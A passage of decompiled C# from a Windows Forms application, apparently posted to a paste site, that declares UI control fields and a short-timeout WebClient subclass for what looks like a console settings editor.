  2294. private DefaultLookAndFeel defaultLookAndFeel1;
  2295.  
  2296. // Token: 0x04000023 RID: 35
  2297. private XtraTabControl xtraTabControl1;
  2298.  
  2299. // Token: 0x04000024 RID: 36
  2300. private XtraTabPage xtraTabPage1;
  2301.  
  2302. // Token: 0x04000025 RID: 37
  2303. private XtraTabPage xtraTabPage2;
  2304.  
  2305. // Token: 0x04000026 RID: 38
  2306. private XtraTabPage xtraTabPage3;
  2307.  
  2308. // Token: 0x04000027 RID: 39
  2309. private XtraTabPage xtraTabPage4;
  2310.  
  2311. // Token: 0x04000028 RID: 40
  2312. private XtraTabPage xtraTabPage5;
  2313.  
  2314. // Token: 0x04000029 RID: 41
  2315. private SimpleButton simpleButton1;
  2316.  
  2317. // Token: 0x0400002A RID: 42
  2318. private LabelControl labelControl1;
  2319.  
  2320. // Token: 0x0400002B RID: 43
  2321. private TextEdit textEdit1;
  2322.  
  2323. // Token: 0x0400002C RID: 44
  2324. private ListBoxControl listBoxControl1;
  2325.  
  2326. // Token: 0x0400002D RID: 45
  2327. private SimpleButton simpleButton2;
  2328.  
  2329. // Token: 0x0400002E RID: 46
  2330. private RadioGroup radioGroup1;
  2331.  
  2332. // Token: 0x0400002F RID: 47
  2333. private SimpleButton simpleButton3;
  2334.  
  2335. // Token: 0x04000030 RID: 48
  2336. private LabelControl labelControl2;
  2337.  
  2338. // Token: 0x04000031 RID: 49
  2339. private TextEdit textEdit2;
  2340.  
  2341. // Token: 0x04000032 RID: 50
  2342. private SimpleButton simpleButton4;
  2343.  
  2344. // Token: 0x04000033 RID: 51
  2345. private SimpleButton simpleButton5;
  2346.  
  2347. // Token: 0x04000034 RID: 52
  2348. private LabelControl labelControl4;
  2349.  
  2350. // Token: 0x04000035 RID: 53
  2351. private LabelControl labelControl3;
  2352.  
  2353. // Token: 0x04000036 RID: 54
  2354. private LabelControl labelControl5;
  2355.  
  2356. // Token: 0x04000037 RID: 55
  2357. private TextEdit textEdit3;
  2358.  
  2359. // Token: 0x04000038 RID: 56
  2360. private WebBrowser webBrowser1;
  2361.  
  2362. // Token: 0x04000039 RID: 57
  2363. private MemoEdit memoEdit1;
  2364.  
  2365. // Token: 0x0400003A RID: 58
  2366. private SimpleButton simpleButton6;
  2367.  
  2368. // Token: 0x0400003B RID: 59
  2369. private LabelControl labelControl6;
  2370.  
  2371. // Token: 0x0400003C RID: 60
  2372. private ComboBoxEdit comboBoxEdit1;
  2373.  
  2374. // Token: 0x0400003D RID: 61
  2375. private MemoEdit memoEdit2;
  2376.  
  2377. // Token: 0x0400003E RID: 62
  2378. private SimpleButton simpleButton7;
  2379.  
  2380. // Token: 0x0400003F RID: 63
  2381. private LabelControl labelControl7;
  2382.  
  2383. // Token: 0x04000040 RID: 64
  2384. private ListView lvEntries;
  2385.  
  2386. // Token: 0x04000041 RID: 65
  2387. private ColumnHeader chChecksum;
  2388.  
  2389. // Token: 0x04000042 RID: 66
  2390. private ColumnHeader chSetting;
  2391.  
  2392. // Token: 0x04000043 RID: 67
  2393. private ColumnHeader chValue;
  2394.  
  2395. // Token: 0x04000044 RID: 68
  2396. private ColumnHeader chHeaderValue;
  2397.  
  2398. // Token: 0x04000045 RID: 69
  2399. private ColumnHeader chFlags;
  2400.  
  2401. // Token: 0x04000046 RID: 70
  2402. private Timer timer1;
  2403.  
  2404. // Token: 0x04000047 RID: 71
  2405. private TextEdit textEdit4;
  2406.  
  2407. // Token: 0x04000048 RID: 72
  2408. private LabelControl labelControl9;
  2409.  
  2410. // Token: 0x04000049 RID: 73
  2411. private LabelControl labelControl8;
  2412.  
  2413. // Token: 0x0400004A RID: 74
  2414. private MemoEdit memoEdit3;
  2415.  
  2416. // Token: 0x0400004B RID: 75
  2417. private SimpleButton simpleButton8;
  2418.  
  2419. // Token: 0x0400004C RID: 76
  2420. private ListBoxControl listBoxControl2;
  2421.  
  2422. // Token: 0x0400004D RID: 77
  2423. private ContextMenuStrip contextMenuStrip1;
  2424.  
  2425. // Token: 0x0400004E RID: 78
  2426. private ToolStripMenuItem forwardToolStripMenuItem;
  2427.  
  2428. // Token: 0x0400004F RID: 79
  2429. private ToolStripMenuItem backToolStripMenuItem;
  2430.  
  2431. // Token: 0x04000050 RID: 80
  2432. private ToolStripMenuItem homeToolStripMenuItem;
  2433.  
  2434. // Token: 0x04000051 RID: 81
  2435. private WebBrowser webBrowser2;
  2436.  
  2437. // Token: 0x04000052 RID: 82
  2438. private WebBrowser webBrowser3;
  2439.  
  2440. // Token: 0x04000053 RID: 83
  2441. private LabelControl labelControl10;
  2442.  
  2443. // Token: 0x04000054 RID: 84
  2444. private SimpleButton simpleButton9;
  2445.  
  2446. // Token: 0x04000055 RID: 85
  2447. private TextEdit textEdit5;
  2448.  
  2449. // Token: 0x04000056 RID: 86
  2450. private ComboBoxEdit comboBoxEdit2;
  2451.  
  2452. // Token: 0x04000057 RID: 87
  2453. private CheckEdit checkEdit1;
  2454.  
  2455. // Token: 0x04000058 RID: 88
  2456. private XtraTabPage xtraTabPage6;
  2457.  
  2458. // Token: 0x04000059 RID: 89
  2459. private ListView listView1;
  2460.  
  2461. // Token: 0x0400005A RID: 90
  2462. private ColumnHeader columnHeader1;
  2463.  
  2464. // Token: 0x0400005B RID: 91
  2465. private ColumnHeader columnHeader2;
  2466.  
  2467. // Token: 0x0400005C RID: 92
  2468. private SimpleButton simpleButton12;
  2469.  
  2470. // Token: 0x0400005D RID: 93
  2471. private LabelControl labelControl11;
  2472.  
  2473. // Token: 0x0400005E RID: 94
  2474. private SimpleButton simpleButton11;
  2475.  
  2476. // Token: 0x0400005F RID: 95
  2477. private SimpleButton simpleButton10;
  2478.  
  2479. // Token: 0x04000060 RID: 96
  2480. private RadioGroup radioGroup2;
  2481.  
  2482. // Token: 0x04000061 RID: 97
  2483. private XtraTabControl xtraTabControl2;
  2484.  
  2485. // Token: 0x04000062 RID: 98
  2486. private XtraTabPage xtraTabPage12;
  2487.  
  2488. // Token: 0x04000063 RID: 99
  2489. private ComboBoxEdit comboBoxEdit3;
  2490.  
  2491. // Token: 0x04000064 RID: 100
  2492. private XtraTabPage xtraTabPage13;
  2493.  
  2494. // Token: 0x04000065 RID: 101
  2495. private ContextMenuStrip contextMenuStrip2;
  2496.  
  2497. // Token: 0x04000066 RID: 102
  2498. private ToolStripMenuItem connectToConsoleToolStripMenuItem;
  2499.  
  2500. // Token: 0x04000067 RID: 103
  2501. private ComboBoxEdit comboBoxEdit4;
  2502.  
  2503. // Token: 0x04000068 RID: 104
  2504. private SimpleButton simpleButton13;
  2505.  
  2506. // Token: 0x04000069 RID: 105
  2507. private ListView listView2;
  2508.  
  2509. // Token: 0x0400006A RID: 106
  2510. private ColumnHeader columnHeader9;
  2511.  
  2512. // Token: 0x0400006B RID: 107
  2513. private ColumnHeader columnHeader3;
  2514.  
  2515. // Token: 0x0400006C RID: 108
  2516. private ColumnHeader columnHeader8;
  2517.  
  2518. // Token: 0x0400006D RID: 109
  2519. private ContextMenuStrip contextMenuStrip3;
  2520.  
  2521. // Token: 0x0400006E RID: 110
  2522. private ToolStripMenuItem copyEntryToolStripMenuItem;
  2523.  
  2524. // Token: 0x0400006F RID: 111
  2525. private XtraTabPage xtraTabPage7;
  2526.  
  2527. // Token: 0x04000070 RID: 112
  2528. private LabelControl labelControl13;
  2529.  
  2530. // Token: 0x04000071 RID: 113
  2531. private MemoEdit memoEdit4;
  2532.  
  2533. // Token: 0x04000072 RID: 114
  2534. private LabelControl labelControl12;
  2535.  
  2536. // Token: 0x04000073 RID: 115
  2537. private TextEdit textEdit6;
  2538.  
  2539. // Token: 0x04000074 RID: 116
  2540. private SimpleButton simpleButton14;
  2541.  
  2542. // Token: 0x02000003 RID: 3
  2543. private class MyWebClient : WebClient
  2544. {
  2545. // Token: 0x06000041 RID: 65 RVA: 0x00007EE4 File Offset: 0x000060E4
  2546. protected override WebRequest GetWebRequest(Uri uri)
  2547. {
  2548. WebRequest webRequest = base.GetWebRequest(uri);
  2549. webRequest.Timeout = 500;
  2550. return webRequest;
  2551. }
  2552. }
  2553.  
  2554. // Token: 0x02000005 RID: 5
  2555. [CompilerGenerated]
  2556. [Serializable]
  2557. private sealed class <>c
  2558. {
  2559. // Token: 0x06000047 RID: 71 RVA: 0x00007F3F File Offset: 0x0000613F
  2560. internal bool <HexToBytes>b__11_0(int x)
  2561. {
  2562. return x % 2 == 0;
  2563. }
  2564.  
  2565. // Token: 0x06000048 RID: 72 RVA: 0x00007F47 File Offset: 0x00006147
  2566. internal bool <addSettingToolStripMenuItem_Click>b__84_0(SettingEntry sec)
  2567. {
  2568. return !sec.DataExists && sec.Value != 3;
  2569. }
  2570.  
  2571. // Token: 0x04000076 RID: 118
  2572. public static readonly Form1.<>c <>9 = new Form1.<>c();
  2573.  
  2574. // Token: 0x04000077 RID: 119
  2575. public static Func<int, bool> <>9__11_0;
  2576.  
  2577. // Token: 0x04000078 RID: 120
  2578. public static Predicate<SettingEntry> <>9__84_0;
  2579. }
  2580. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement